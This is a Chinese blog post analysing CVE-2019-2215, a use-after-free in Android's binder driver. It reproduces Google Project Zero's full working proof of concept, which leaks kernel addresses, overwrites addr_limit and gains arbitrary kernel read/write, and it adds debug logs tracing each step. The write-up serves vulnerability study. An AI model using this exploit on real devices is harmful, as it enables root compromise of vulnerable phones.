Author: geneblue
Blog: https://geneblue.github.io/
距离上一个 binder 漏洞(水滴
CVE-2019-2025
)只过去寥寥数月,在国庆期间,Android
内核又被爆出一个 binder 内核提权漏洞。宇宙最强安全团队 google
pj0
已经给出了漏洞细节,详情可以看这里。看来
binder 模块还是值得长期关注的。这篇文章主要解释 google poc
的利用原理。
分析
先来看看 fix commit 吧:
1 | ANDROID: binder: remove waitqueue when thread exits. |
原来这个漏洞是 linux 内核 fuzz 工具 syzkaller
上报的。从
commit 看,这是一个 UAF 问题, 函数 binder_thread_release()
用于释放 thread 结构数据,但当使用 epoll 对 binder fd 做 IO
复用时,该函数并没有在 release 的时候将 thread->wait
从
epoll 的内核链表中剔除。之后,进程退出或调用 epoll
清理操作时,内核会遍历删除 epoll 内核链表,这会再次访问之前已经释放的
thread 结构数据,UAF 产生。
UAF 的利用过程一般是,先确定 UAF
的结构数据是谁,如果该结构中有直接可用的函数指针,heapspray
等占位方式覆盖该指针,后期触发该函数即可控制
pc,这种情况比较少;对于有链表的情况,覆盖占位链表结构,触发时观察对链表的修改情况,再判断能否做内核读写;其他情形嘛,直接填充满非法数据比如
0xdeadc0dedeadc0de
之类的,看看内核啥反应。
POC
在开启 KASAN 的内核中,一个可触发 KASAN 的poc 如下:
1 |
|
KASAN crash log: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52[ 464.504747] c0 3033 BUG: KASAN: use-after-free in remove_wait_queue+0x48/0x90
[ 464.511836] c0 3033 Write of size 8 at addr 0000000000000000 by task new.out/3033
[ 464.518893] c0 3033
[ 464.526548] c0 3033 CPU: 0 PID: 3033 Comm: new.out Tainted: G C 4.4.177-ga9e0ec5cb774 #1
[ 464.529044] c0 3033 Hardware name: Qualcomm Technologies, Inc. MSM8998 v2.1 (DT)
[ 464.538334] c0 3033 Call trace:
[ 464.545928] c0 3033 [<ffffff900808f0e8>] dump_backtrace+0x0/0x34c
[ 464.549328] c0 3033 [<ffffff900808f574>] show_stack+0x1c/0x24
[ 464.555411] c0 3033 [<ffffff900858bcc8>] dump_stack+0xb8/0xe8
[ 464.561319] c0 3033 [<ffffff90082b1ecc>] print_address_description+0x94/0x334
[ 464.567219] c0 3033 [<ffffff90082b23f0>] kasan_report+0x1f8/0x340
[ 464.574501] c0 3033 [<ffffff90082b0740>] __asan_store8+0x74/0x90
[ 464.580753] c0 3033 [<ffffff9008139fc0>] remove_wait_queue+0x48/0x90
[ 464.587125] c0 3033 [<ffffff9008336874>] ep_unregister_pollwait.isra.8+0xa8/0xec
[ 464.593617] c0 3033 [<ffffff9008337744>] ep_free+0x74/0x11c
[ 464.601149] c0 3033 [<ffffff9008337820>] ep_eventpoll_release+0x34/0x48
[ 464.606988] c0 3033 [<ffffff90082c589c>] __fput+0x10c/0x32c
[ 464.613724] c0 3033 [<ffffff90082c5b38>] ____fput+0x18/0x20
[ 464.619463] c0 3033 [<ffffff90080eefdc>] task_work_run+0xd0/0x128
[ 464.625193] c0 3033 [<ffffff90080bd890>] do_exit+0x3e4/0x1198
[ 464.631260] c0 3033 [<ffffff90080c0ff8>] do_group_exit+0x7c/0x128
[ 464.637167] c0 3033 [<ffffff90080c10c4>] __wake_up_parent+0x0/0x44
[ 464.643421] c0 3033 [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
[ 464.649944] c0 3033
[ 464.655899] c0 3033 Allocated by task 3033:
[ 464.658257] [<ffffff900808e5a4>] save_stack_trace_tsk+0x0/0x204
[ 464.663899] [<ffffff900808e7c8>] save_stack_trace+0x20/0x28
[ 464.669882] [<ffffff90082b0b14>] kasan_kmalloc.part.5+0x50/0x124
[ 464.675528] [<ffffff90082b0e38>] kasan_kmalloc+0xc4/0xe4
[ 464.681597] [<ffffff90082ac8a4>] kmem_cache_alloc_trace+0x12c/0x240
[ 464.686992] [<ffffff90094093c0>] binder_get_thread+0xdc/0x384
[ 464.693319] [<ffffff900940969c>] binder_poll+0x34/0x1bc
[ 464.699127] [<ffffff900833839c>] SyS_epoll_ctl+0x704/0xf84
[ 464.704423] [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
[ 464.709971] c0 3033
[ 464.714124] c0 3033 Freed by task 3033:
[ 464.716396] [<ffffff900808e5a4>] save_stack_trace_tsk+0x0/0x204
[ 464.721699] [<ffffff900808e7c8>] save_stack_trace+0x20/0x28
[ 464.727678] [<ffffff90082b16a4>] kasan_slab_free+0xb0/0x1c0
[ 464.733322] [<ffffff90082ae214>] kfree+0x8c/0x2b4
[ 464.738952] [<ffffff900940ac00>] binder_thread_dec_tmpref+0x15c/0x1c0
[ 464.743750] [<ffffff900940d590>] binder_thread_release+0x284/0x2e0
[ 464.750253] [<ffffff90094149e0>] binder_ioctl+0x6f4/0x3664
[ 464.756498] [<ffffff90082e1364>] do_vfs_ioctl+0x7f0/0xd58
[ 464.762052] [<ffffff90082e1968>] SyS_ioctl+0x9c/0xc0
[ 464.767513] [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
[ 464.772554] c0 3033
[ 464.776731] c0 3033 The buggy address belongs to the object at 0000000000000000
[ 464.776731] c0 3033 which belongs to the cache kmalloc-512 of size 512
[ 464.779151] c0 3033 The buggy address is located 176 bytes inside of
[ 464.779151] c0 3033 512-byte region [0000000000000000, 0000000000000000)
[ 464.793269] c0 3033 The buggy address belongs to the page:
从 kasan 的 log 中,我们可以得到 uaf 触发时的调用链。
漏洞作者 Maddie Stone
贴心的给出一份可利用的 poc,从这份
poc
看,显然该漏洞是可以做到内核任意地址读写的。能做到任意读写,就能随意折腾内核,做过内核提权的同学,想必对接下来的套路就比较熟悉了。
POC: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247/*
* POC to gain arbitrary kernel R/W access using CVE-2019-2215
* https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
*
* Jann Horn & Maddie Stone of Google Project Zero
*
* 3 October 2019
*/
// NOTE: we don't cover the task_struct* here; we want to leave it uninitialized
void hexdump_memory(unsigned char *buf, size_t byte_count) {
unsigned long byte_offset_start = 0;
if (byte_count % 16)
errx(1, "hexdump_memory called with non-full line");
for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count;
byte_offset += 16) {
char line[1000];
char *linep = line;
linep += sprintf(linep, "%08lx ", byte_offset);
for (int i=0; i<16; i++) {
linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]);
}
linep += sprintf(linep, " |");
for (int i=0; i<16; i++) {
char c = buf[byte_offset + i];
if (isalnum(c) || ispunct(c) || c == ' ') {
*(linep++) = c;
} else {
*(linep++) = '.';
}
}
linep += sprintf(linep, "|");
puts(line);
}
}
int epfd;
void *dummy_page_4g_aligned;
unsigned long current_ptr;
int binder_fd;
void leak_task_struct(void)
{
struct epoll_event event = { .events = EPOLLIN };
if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");
struct iovec iovec_array[IOVEC_ARRAY_SZ];
memset(iovec_array, 0, sizeof(iovec_array));
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;
int b;
int pipefd[2];
if (pipe(pipefd)) err(1, "pipe");
if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size");
static char page_buffer[0x1000];
//if (write(pipefd[1], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "fill pipe");
pid_t fork_ret = fork();
if (fork_ret == -1) err(1, "fork");
if (fork_ret == 0){
/* Child process */
prctl(PR_SET_PDEATHSIG, SIGKILL);
sleep(2);
printf("CHILD: Doing EPOLL_CTL_DEL.\n");
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
printf("CHILD: Finished EPOLL_CTL_DEL.\n");
// first page: dummy data
if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
close(pipefd[1]);
printf("CHILD: Finished write to FIFO.\n");
exit(0);
}
//printf("PARENT: Calling READV\n");
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
printf("writev() returns 0x%x\n", (unsigned int)b);
// second page: leaked data
if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
//hexdump_memory((unsigned char *)page_buffer, sizeof(page_buffer));
printf("PARENT: Finished calling READV\n");
int status;
if (wait(&status) != fork_ret) err(1, "wait");
current_ptr = *(unsigned long *)(page_buffer + 0xe8);
printf("current_ptr == 0x%lx\n", current_ptr);
}
void clobber_addr_limit(void)
{
struct epoll_event event = { .events = EPOLLIN };
if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");
struct iovec iovec_array[IOVEC_ARRAY_SZ];
memset(iovec_array, 0, sizeof(iovec_array));
unsigned long second_write_chunk[] = {
1, /* iov_len */
0xdeadbeef, /* iov_base (already used) */
0x8 + 2 * 0x10, /* iov_len (already used) */
current_ptr + 0x8, /* next iov_base (addr_limit) */
8, /* next iov_len (sizeof(addr_limit)) */
0xfffffffffffffffe /* value to write */
};
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; /* wq->task_list->next */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */
int socks[2];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair");
if (write(socks[1], "X", 1) != 1) err(1, "write socket dummy byte");
pid_t fork_ret = fork();
if (fork_ret == -1) err(1, "fork");
if (fork_ret == 0){
/* Child process */
prctl(PR_SET_PDEATHSIG, SIGKILL);
sleep(2);
printf("CHILD: Doing EPOLL_CTL_DEL.\n");
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
printf("CHILD: Finished EPOLL_CTL_DEL.\n");
if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk))
err(1, "write second chunk to socket");
exit(0);
}
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
struct msghdr msg = {
.msg_iov = iovec_array,
.msg_iovlen = IOVEC_ARRAY_SZ
};
int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL);
printf("recvmsg() returns %d, expected %lu\n", recvmsg_result,
(unsigned long)(iovec_array[IOVEC_INDX_FOR_WQ].iov_len +
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len +
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len));
}
int kernel_rw_pipe[2];
void kernel_write(unsigned long kaddr, void *buf, unsigned long len) {
errno = 0;
if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
if (write(kernel_rw_pipe[1], buf, len) != len) err(1, "kernel_write failed to load userspace buffer");
if (read(kernel_rw_pipe[0], (void*)kaddr, len) != len) err(1, "kernel_write failed to overwrite kernel memory");
}
void kernel_read(unsigned long kaddr, void *buf, unsigned long len) {
errno = 0;
if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
if (write(kernel_rw_pipe[1], (void*)kaddr, len) != len) err(1, "kernel_read failed to read kernel memory");
if (read(kernel_rw_pipe[0], buf, len) != len) err(1, "kernel_read failed to write out to userspace");
}
unsigned long kernel_read_ulong(unsigned long kaddr) {
unsigned long data;
kernel_read(kaddr, &data, sizeof(data));
return data;
}
void kernel_write_ulong(unsigned long kaddr, unsigned long data) {
kernel_write(kaddr, &data, sizeof(data));
}
void kernel_write_uint(unsigned long kaddr, unsigned int data) {
kernel_write(kaddr, &data, sizeof(data));
}
// Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64
// data from `pahole` on my own build with the same .config
// SYMBOL_* are relative to _head; data from /proc/kallsyms on userdebug
int main(void) {
printf("Starting POC\n");
//pin_to(0);
dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (dummy_page_4g_aligned != (void*)0x100000000UL)
err(1, "mmap 4g aligned");
if (pipe(kernel_rw_pipe)) err(1, "kernel_rw_pipe");
binder_fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
leak_task_struct();
clobber_addr_limit();
setbuf(stdout, NULL);
printf("should have stable kernel R/W now\n");
/* in case you want to do stuff with the creds, to show that you can get them: */
unsigned long current_mm = kernel_read_ulong(current_ptr + OFFSET__task_struct__mm);
printf("current->mm == 0x%lx\n", current_mm);
unsigned long current_user_ns = kernel_read_ulong(current_mm + OFFSET__mm_struct__user_ns);
printf("current->mm->user_ns == 0x%lx\n", current_user_ns);
unsigned long kernel_base = current_user_ns - SYMBOL__init_user_ns;
printf("kernel base is 0x%lx\n", kernel_base);
if (kernel_base & 0xfffUL) errx(1, "bad kernel base (not 0x...000)");
unsigned long init_task = kernel_base + SYMBOL__init_task;
printf("&init_task == 0x%lx\n", init_task);
unsigned long init_task_cred = kernel_read_ulong(init_task + OFFSET__task_struct__cred);
printf("init_task.cred == 0x%lx\n", init_task_cred);
unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred);
printf("current->cred == 0x%lx\n", my_cred);
unsigned long init_uts_ns = kernel_base + SYMBOL__init_uts_ns;
char new_uts_version[] = "EXPLOITED KERNEL";
kernel_write(init_uts_ns + OFFSET__uts_namespace__name__version, new_uts_version, sizeof(new_uts_version));
}
这份 poc 还是比较简洁的,在简单阅读完该 poc
后,我发现该漏洞做到内核读写竟然不需要一个硬编码地址,这意味着该漏洞的通用性会比较好,呃~~~,应该好好学习一下。遗憾的是这个漏洞影响范围比较小,目前已知只影响数款机型,这个原因
google 的漏洞细节里有说。从上面可以看出,void
leak_task_struct(void)
和 void
clobber_addr_limit(void)
是利用的两个关键函数。本文也主要解释这两个函数做利用的过程。
从 commit 看,struct binder_thread thread;
结构就是 UAF
的对象,该结构成员如下。
1 | struct binder_thread { |
1 处是漏洞触发成员,2 处 task 指定当前 task_struct
内存位置,如果能直接泄漏该处内存中数值,我们就能直接得到当前进程
task_struct
在内核中的位置。做数据占位时,需要知道 thread
结构大小和 1 处成员的结构偏移,这个可以在
binder_get_thread()
函数处增加一些 log 日志获取。测试环境
android-goldfish-4.4-dev
。
1 | static struct binder_thread *binder_get_thread(struct binder_proc *proc) |
结果: 1
2
3POC: binder_get_thread: binder_thread size: 0x198 wait offset = 0xa0 stats offset = 0xb8 task offset = 0x190
POC: binder_get_thread: binder_thread size: 0x198 wait offset = 0xa0 stats offset = 0xb8 task offset = 0x190
POC: binder_get_thread: binder_thread size: 0x198 wait offset = 0xa0 stats offset = 0xb8 task offset = 0x190
调用占位函数做 heapspray 时,我们指定 0x198 大小就很有可能会占据已释放的 thread 结构内存,在 0xa0 处放置的数据需要根据情形构造。
void
leak_task_struct(void)
函数 void leak_task_struct(void)
用于泄漏
task,这是如何做到的呢?
为了方便我们判断是否占位成功,我们在 static int
binder_thread_relase()
中将 UAF 的 thread
结构的内存地址打印出来
1 | static int binder_thread_release() |
void leak_task_struct(void)
采用 pipe
做占位和泄漏,关于利用 pipe TOCTTOU(time of check to time of use)
的利用方式,可以参考 链表游戏:CVE-2017-10661之完全利用
一文,不过在这里 pipe 是用来泄漏数据的。
writev 的执行,占位过程的调用链如下:
在 rw_copy_check_uvector()
上添加调试日志
1 | ssize_t rw_copy_check_uvector() |
执行 ioctl(binder_fd, BINDER_THREAD_EXIT,
NULL);
,内核里会对应执行到 binder_thread_release()
释放 thread 结构数据;此时,调用 writev 执行
rw_copy_check_uvector()
分配的 iov 就很大概率是之前 thread
的内存。
占位的成功率还是比较高的。
接下来,执行 epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd,
&event);
触发漏洞,该函数在内核中执行链是:
我们在 remove_wait_queue()
中添加添加日志信息,观察漏洞触发前后 wait_queue_head_t
内存的变化。
1 | void remove_wait_queue(wait_queue_head_t *q, wait_queue_t *wait) |
多次调试发现, iovec_array[IOVEC_INDX_FOR_WQ+1].iov_base
值在漏洞触发时总会被写为 wait->task_list.next
的内存地址。关键内存区域数据前后变化如下图所示:
漏洞触发后,iovec_array[IOVEC_INDX_FOR_WQ+1]
的
iov_base
更改为
0xffffffc0572224a8
,iov_len
依然保持
0x1000
,pipe read 的时候,将从
0xffffffc0572224a8
处开始读取 0x1000
大小的内存块,binder_thread
结构中的 *task
指针值将包含在此范围,这样就泄漏出了当前进程 task_struct
的内核地址。
void
clobber_addr_limit(void)
函数 void clobber_addr_limit(void)
用于关闭掉进程
addr_limit
,函数的关键是使用了 socket
做内存写,从函数名看,写的是 addr_limit
,熟悉提权相关的结构数据一般会知道 addr_limit
与
task_struct
在内存中是紧挨着存放的,从 thread_info
结构中可以看出:
当前进程的 thread_info
在内核栈中,所以
addr_limit
的地址是 task_struct
地址再加
0x8。
socketpair()
会创建一对连接好的 UNIX 族的全双工通信
socket,这与 pipe 返回的 fd 类似,只是任一个 fd 都可读可写的。
很明显,执行完 ioctl(binder_fd, BINDER_THREAD_EXIT,
NULL);
之后的 recvmsg()
是用来做数据填充的,占位刚刚释放的 binder_thread
内存。占位的调用链如下:
这与上述 pipe 的占位过程一致。需要注意 recvmsg()
在占位完成后会阻塞住,直到写端的数据到来。写端有数据到来时会按照传入的
iovec_array
的 iov_base
与
iov_len
顺序对应写入。
POC 中有两次写操作,分别写入 1 字节的 "X"
和
second_write_chunk
。没有漏洞的情形下,写入操作应该如下图所示:
0xDEADBEEF
和 0xBEEFDEAD
是非法地址,在漏洞触发时,这两处地址应该会被更改掉。
copy_to_iter
调用链如下: 1
SyS_recvmsg() --> ___sys_recvmsg() --> sock_recvmsg() --> unix_stream_recvmsg() --> unix_stream_read_generic() --> unix_stream_read_actor() --> skb_copy_datagram_iter() --> copy_page_to_iter() --> copy_to_iter()
在 copy_to_iter()
中加入调试日志: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51size_t copy_to_iter(void *addr, size_t bytes, struct iov_iter *i)
{
int j;
char *from = addr;
if (unlikely(bytes > i->count))
bytes = i->count;
if (unlikely(!bytes))
return 0;
if (!strcmp("POCDEMO", current->comm)) {
printk(KERN_INFO "POCDEMO BE: %s: addr=0x%p bytes=0x%lx\n", __func__, addr, bytes);
printk(KERN_INFO "POCDEMO BE: %s: iov=0x%p type=0x%x offset=0x%lx count=0x%lx iov=%p segs=0x%lx iov->base=0x%p=0x%lx iov->len=0x%lx\n",
__func__,
i, i->type, i->iov_offset,
i->count, i->iov, i->nr_segs,
i->iov->iov_base, (unsigned long)(i->iov->iov_base), i->iov->iov_len);
for (j = 0; j < bytes/sizeof(unsigned long) + 1; j++) {
printk(KERN_INFO "POCDEMO BE: %s: 0x%lx --> 0x%lx\n", __func__,
(unsigned long)addr + j*sizeof(unsigned long),
*((unsigned long *)addr + j));
}
for (j = 0; j < (i->nr_segs)*2 + 2; j++) {
printk(KERN_INFO "POCDEMO BE: %s: iov value 0x%lx --> 0x%lx\n", __func__,
(unsigned long)(i->iov) + j*sizeof(unsigned long),
*((unsigned long *)(i->iov) + j));
}
}
iterate_and_advance(i, bytes, v,
__copy_to_user(v.iov_base, (from += v.iov_len) - v.iov_len,
v.iov_len),
memcpy_to_page(v.bv_page, v.bv_offset,
(from += v.bv_len) - v.bv_len, v.bv_len),
memcpy(v.iov_base, (from += v.iov_len) - v.iov_len, v.iov_len)
)
if (!strcmp("POCDEMO", current->comm)) {
for (j = 0; j < (i->nr_segs)*2 + 2; j++) {
printk(KERN_INFO "POCDEMO AF: %s: iov value 0x%lx --> 0x%lx\n", __func__,
(unsigned long)(i->iov) + j*sizeof(unsigned long),
*((unsigned long *)(i->iov) + j));
}
printk(KERN_INFO "POCDEMO AF: %s bytes=0x%lx\n\n\n", __func__, bytes);
}
return bytes;
}
EXPORT_SYMBOL(copy_to_iter);
多加些打印值,让我们观察前后数据变化,日志比较长,择取关键如下:
1 | ********** 0 ********* |
分析这份日志,可得出写 addr_limit
的过程。简单来说,0
处日志 recvmsg
占位刚释放的 binder_thread
内存;1 处日志将 1 字节数据写入到 0x100000000
即
dummy_page_4g_aligned
内存处,然后 recvmsg
阻塞住等待写端数据到来;2 处触发漏洞,将
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base
更改为
binder_thread
中的 task_list.next
地址
0xffffffc0571da2a8
;3 处表明从
0xffffffc0571da2a8
开始写 0x28
字节,也就是
second_write_chunk
的前 5 个数据,注意
0xffffffc0571da2a8
所在的内存地址是
0xffffffc0571da2b0
,写入过程的数据变化:
写之前: 1
2
3
4
5iov value 0xffffffc0571da2a8 --> ?
iov value 0xffffffc0571da2b0 --> 0xffffffc0571da2a8
iov value 0xffffffc0571da2b8 --> 0x28
iov value 0xffffffc0571da2c0 --> 0xbeefdead
iov value 0xffffffc0571da2c8 --> 0x8
写之后: 1
2
3
4
5iov value 0xffffffc0571da2a8 --> 0x1
iov value 0xffffffc0571da2b0 --> 0xdeadbeef
iov value 0xffffffc0571da2b8 --> 0x28
iov value 0xffffffc0571da2c0 --> addr_limit(current_ptr + 0x8)
iov value 0xffffffc0571da2c8 --> 0x8
继续往下写,原 iov 地址 0xbeefdead
,变成了
addr_limit
地址,也就是向 addr_limit
处写入
0x8 大小的数据 0xfffffffffffffffe
,这样就打开了
addr_limit
的限制,接下来可以随意访问内核。
总结
以上就是对该 binder 漏洞的简要分析。
2019-12-10 update: 增加 google pj0 和一个国外小哥对该漏洞的解读和 root 尝试参考链接 2020-02-22 update: 增加 Maddie Stone 在 OffsensiveCon 2010 会议上关于此漏洞的演讲